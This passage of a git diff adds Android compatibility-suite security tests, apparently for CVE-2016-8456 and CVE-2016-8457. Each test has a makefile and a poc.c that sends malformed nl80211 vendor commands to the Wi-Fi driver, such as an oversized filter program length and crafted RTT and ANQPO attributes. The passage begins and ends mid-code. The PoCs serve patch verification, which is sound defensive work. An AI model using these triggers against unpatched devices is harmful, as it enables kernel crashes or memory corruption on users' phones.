+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, APF_SUBCMD_SET_FILTER);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+
+ nla_put_u32(msg, APF_ATTRIBUTE_PROGRAM_LEN, 0xffffffff);
+
+ nla_nest_end(msg, rret);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
new file mode 100644
index 0000000..75688b5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8456
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
new file mode 100644
index 0000000..9367c45
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
@@ -0,0 +1,313 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h>
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 1024
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+struct kgsl_perfcounter_query_compat {
+ unsigned int groupid;
+ unsigned int countables;
+ unsigned int count;
+ unsigned int max_counters;
+ unsigned int __pad[2];
+};
+struct kgsl_perfcounter_read_group {
+ unsigned int groupid;
+ unsigned int countable;
+ unsigned long long value;
+};
+#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
+ _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
+
+struct kgsl_perfcounter_read_compat {
+ unsigned int reads;
+ unsigned int count;
+ unsigned int __pad[2];
+};
+
+#define CAL_IOCTL_MAGIC 'a'
+
+#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+enum wlan_hdd_tm_attr {
+ WLAN_HDD_TM_ATTR_INVALID = 0,
+ WLAN_HDD_TM_ATTR_CMD = 1,
+ WLAN_HDD_TM_ATTR_DATA = 2,
+ WLAN_HDD_TM_ATTR_STREAM_ID = 3,
+ WLAN_HDD_TM_ATTR_TYPE = 4,
+ /* keep last */
+ WLAN_HDD_TM_ATTR_AFTER_LAST,
+ WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
+};
+
+enum wlan_hdd_tm_cmd {
+ WLAN_HDD_TM_CMD_WLAN_FTM = 0,
+ WLAN_HDD_TM_CMD_WLAN_HB = 1,
+};
+
+typedef enum {
+ /* don't use 0 as a valid subcommand */
+ VENDOR_NL80211_SUBCMD_UNSPECIFIED,
+
+ /* define all vendor startup commands between 0x0 and 0x0FFF */
+ VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
+ VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
+
+ /* define all GScan related commands between 0x1000 and 0x10FF */
+ ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
+ ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
+
+ /* define all RTT related commands between 0x1100 and 0x11FF */
+ ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
+ ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
+
+ ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
+ ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
+
+ ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
+ ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
+
+ ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
+ ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
+
+ /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
+ ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
+ ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
+
+ /* define all wifi calling related commands between 0x1600 and 0x16FF */
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
+
+ /* define all NAN related commands between 0x1700 and 0x17FF */
+ ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
+ ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
+
+ /* define all packet filter related commands between 0x1800 and 0x18FF */
+ ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
+ ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
+
+ /* This is reserved for future usage */
+
+} ANDROID_VENDOR_SUB_COMMAND;
+
+enum wl_vendor_subcmd {
+ BRCM_VENDOR_SCMD_UNSPEC,
+ BRCM_VENDOR_SCMD_PRIV_STR,
+ GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
+ GSCAN_SUBCMD_SET_CONFIG,
+ GSCAN_SUBCMD_SET_SCAN_CONFIG,
+ GSCAN_SUBCMD_ENABLE_GSCAN,
+ GSCAN_SUBCMD_GET_SCAN_RESULTS,
+ GSCAN_SUBCMD_SCAN_RESULTS,
+ GSCAN_SUBCMD_SET_HOTLIST,
+ GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
+ GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
+ GSCAN_SUBCMD_GET_CHANNEL_LIST,
+ ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
+ ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
+ ANDR_WIFI_RANDOM_MAC_OUI,
+ ANDR_WIFI_NODFS_CHANNELS,
+ ANDR_WIFI_SET_COUNTRY,
+ GSCAN_SUBCMD_SET_EPNO_SSID,
+ WIFI_SUBCMD_SET_SSID_WHITELIST,
+ WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
+ WIFI_SUBCMD_ENABLE_LAZY_ROAM,
+ WIFI_SUBCMD_SET_BSSID_PREF,
+ WIFI_SUBCMD_SET_BSSID_BLACKLIST,
+ GSCAN_SUBCMD_ANQPO_CONFIG,
+ WIFI_SUBCMD_SET_RSSI_MONITOR,
+ WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
+ RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
+ RTT_SUBCMD_CANCEL_CONFIG,
+ RTT_SUBCMD_GETCAPABILITY,
+ RTT_SUBCMD_GETAVAILCHANNEL,
+ RTT_SUBCMD_SET_RESPONDER,
+ RTT_SUBCMD_CANCEL_RESPONDER,
+ LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
+ DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
+ DEBUG_TRIGGER_MEM_DUMP,
+ DEBUG_GET_MEM_DUMP,
+ DEBUG_GET_VER,
+ DEBUG_GET_RING_STATUS,
+ DEBUG_GET_RING_DATA,
+ DEBUG_GET_FEATURE,
+ DEBUG_RESET_LOGGING,
+ DEBUG_TRIGGER_DRIVER_MEM_DUMP,
+ DEBUG_GET_DRIVER_MEM_DUMP,
+ DEBUG_START_PKT_FATE_MONITORING,
+ DEBUG_GET_TX_PKT_FATES,
+ DEBUG_GET_RX_PKT_FATES,
+ DEBUG_GET_WAKE_REASON_STATS,
+ WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
+ WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
+ APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
+ APF_SUBCMD_SET_FILTER,
+ /* Add more sub commands here */
+ VENDOR_SUBCMD_MAX
+};
+
+#define QCA_NL80211_VENDOR_ID 0x001374
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
+#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
+
+#define BPF_SET_RESET 1
+#define BPF_FILTER_ID 3
+#define BPF_PACKET_SIZE 4
+#define BPF_PROGRAM 6
+#define QCA_WLAN_GET_PACKET_FILTER 2
+
+#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
+#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
+#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
+
+#define RTT_ATTRIBUTE_TARGET_CNT 0
+#define RTT_ATTRIBUTE_TARGET_CHAN 5
+#define RTT_ATTRIBUTE_TARGET_INFO 1
+typedef int wifi_channel;
+typedef int wifi_channel_width_t;
+typedef struct wifi_channel_info {
+ wifi_channel_width_t width;
+ wifi_channel center_freq; /* primary 20 MHz channel */
+ wifi_channel center_freq0; /* center freq (MHz) first segment */
+ wifi_channel
+ center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
+} wifi_channel_info_t;
+
+int test(void);
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ struct nlattr *rret2;
+ unsigned char oper_classes[253];
+
+ wifi_channel_info_t c_info;
+
+ unsigned char hb_params[512];
+
+ struct nl80211_sta_flag_update flags;
+
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+#define OUI_GOOGLE 0x001A11
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
+
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+
+ nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);
+
+ rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);
+
+ if (!rret2) {
+ return 1;
+ }
+
+ nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);
+
+ nla_nest_end(msg, rret2);
+
+ nla_nest_end(msg, rret);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
new file mode 100644
index 0000000..3ec6a31
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8457
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
new file mode 100644
index 0000000..9a9f02b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
@@ -0,0 +1,335 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h>
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 2048
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+struct kgsl_perfcounter_query_compat {
+ unsigned int groupid;
+ unsigned int countables;
+ unsigned int count;
+ unsigned int max_counters;
+ unsigned int __pad[2];
+};
+struct kgsl_perfcounter_read_group {
+ unsigned int groupid;
+ unsigned int countable;
+ unsigned long long value;
+};
+#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
+ _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
+
+struct kgsl_perfcounter_read_compat {
+ unsigned int reads;
+ unsigned int count;
+ unsigned int __pad[2];
+};
+
+#define CAL_IOCTL_MAGIC 'a'
+
+#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+enum wlan_hdd_tm_attr {
+ WLAN_HDD_TM_ATTR_INVALID = 0,
+ WLAN_HDD_TM_ATTR_CMD = 1,
+ WLAN_HDD_TM_ATTR_DATA = 2,
+ WLAN_HDD_TM_ATTR_STREAM_ID = 3,
+ WLAN_HDD_TM_ATTR_TYPE = 4,
+ /* keep last */
+ WLAN_HDD_TM_ATTR_AFTER_LAST,
+ WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
+};
+
+enum wlan_hdd_tm_cmd {
+ WLAN_HDD_TM_CMD_WLAN_FTM = 0,
+ WLAN_HDD_TM_CMD_WLAN_HB = 1,
+};
+
+typedef enum {
+ /* don't use 0 as a valid subcommand */
+ VENDOR_NL80211_SUBCMD_UNSPECIFIED,
+
+ /* define all vendor startup commands between 0x0 and 0x0FFF */
+ VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
+ VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
+
+ /* define all GScan related commands between 0x1000 and 0x10FF */
+ ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
+ ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
+
+ /* define all RTT related commands between 0x1100 and 0x11FF */
+ ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
+ ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
+
+ ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
+ ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
+
+ ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
+ ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
+
+ ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
+ ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
+
+ /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
+ ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
+ ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
+
+ /* define all wifi calling related commands between 0x1600 and 0x16FF */
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
+
+ /* define all NAN related commands between 0x1700 and 0x17FF */
+ ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
+ ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
+
+ /* define all packet filter related commands between 0x1800 and 0x18FF */
+ ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
+ ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
+
+ /* This is reserved for future usage */
+
+} ANDROID_VENDOR_SUB_COMMAND;
+
+enum wl_vendor_subcmd {
+ BRCM_VENDOR_SCMD_UNSPEC,
+ BRCM_VENDOR_SCMD_PRIV_STR,
+ GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
+ GSCAN_SUBCMD_SET_CONFIG,
+ GSCAN_SUBCMD_SET_SCAN_CONFIG,
+ GSCAN_SUBCMD_ENABLE_GSCAN,
+ GSCAN_SUBCMD_GET_SCAN_RESULTS,
+ GSCAN_SUBCMD_SCAN_RESULTS,
+ GSCAN_SUBCMD_SET_HOTLIST,
+ GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
+ GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
+ GSCAN_SUBCMD_GET_CHANNEL_LIST,
+ ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
+ ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
+ ANDR_WIFI_RANDOM_MAC_OUI,
+ ANDR_WIFI_NODFS_CHANNELS,
+ ANDR_WIFI_SET_COUNTRY,
+ GSCAN_SUBCMD_SET_EPNO_SSID,
+ WIFI_SUBCMD_SET_SSID_WHITELIST,
+ WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
+ WIFI_SUBCMD_ENABLE_LAZY_ROAM,
+ WIFI_SUBCMD_SET_BSSID_PREF,
+ WIFI_SUBCMD_SET_BSSID_BLACKLIST,
+ GSCAN_SUBCMD_ANQPO_CONFIG,
+ WIFI_SUBCMD_SET_RSSI_MONITOR,
+ WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
+ RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
+ RTT_SUBCMD_CANCEL_CONFIG,
+ RTT_SUBCMD_GETCAPABILITY,
+ RTT_SUBCMD_GETAVAILCHANNEL,
+ RTT_SUBCMD_SET_RESPONDER,
+ RTT_SUBCMD_CANCEL_RESPONDER,
+ LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
+ DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
+ DEBUG_TRIGGER_MEM_DUMP,
+ DEBUG_GET_MEM_DUMP,
+ DEBUG_GET_VER,
+ DEBUG_GET_RING_STATUS,
+ DEBUG_GET_RING_DATA,
+ DEBUG_GET_FEATURE,
+ DEBUG_RESET_LOGGING,
+ DEBUG_TRIGGER_DRIVER_MEM_DUMP,
+ DEBUG_GET_DRIVER_MEM_DUMP,
+ DEBUG_START_PKT_FATE_MONITORING,
+ DEBUG_GET_TX_PKT_FATES,
+ DEBUG_GET_RX_PKT_FATES,
+ DEBUG_GET_WAKE_REASON_STATS,
+ WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
+ WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
+ APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
+ APF_SUBCMD_SET_FILTER,
+ /* Add more sub commands here */
+ VENDOR_SUBCMD_MAX
+};
+
+#define QCA_NL80211_VENDOR_ID 0x001374
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
+#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
+
+#define BPF_SET_RESET 1
+#define BPF_FILTER_ID 3
+#define BPF_PACKET_SIZE 4
+#define BPF_PROGRAM 6
+#define QCA_WLAN_GET_PACKET_FILTER 2
+
+#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
+#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
+#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
+
+#define RTT_ATTRIBUTE_TARGET_CNT 0
+#define RTT_ATTRIBUTE_TARGET_CHAN 5
+#define RTT_ATTRIBUTE_TARGET_INFO 1
+
+#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
+#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
+#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
+typedef int wifi_channel;
+typedef int wifi_channel_width_t;
+typedef struct wifi_channel_info {
+ wifi_channel_width_t width;
+ wifi_channel center_freq; /* primary 20 MHz channel */
+ wifi_channel center_freq0; /* center freq (MHz) first segment */
+ wifi_channel
+ center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
+} wifi_channel_info_t;
+
+#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
+#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
+#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
+#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
+
+int test(void);
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ struct nlattr *rret2;
+ struct nlattr *rret3;
+ struct nlattr *rret4;
+ unsigned char buf_test[256];
+
+ int i = 0;
+
+ wifi_channel_info_t c_info;
+
+ unsigned char hb_params[512];
+#define DOT11_MAX_SSID_LEN 32
+ unsigned char SSID11[DOT11_MAX_SSID_LEN];
+ struct nl80211_sta_flag_update flags;
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+#define OUI_GOOGLE 0x001A11
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
+
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+
+ nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
+
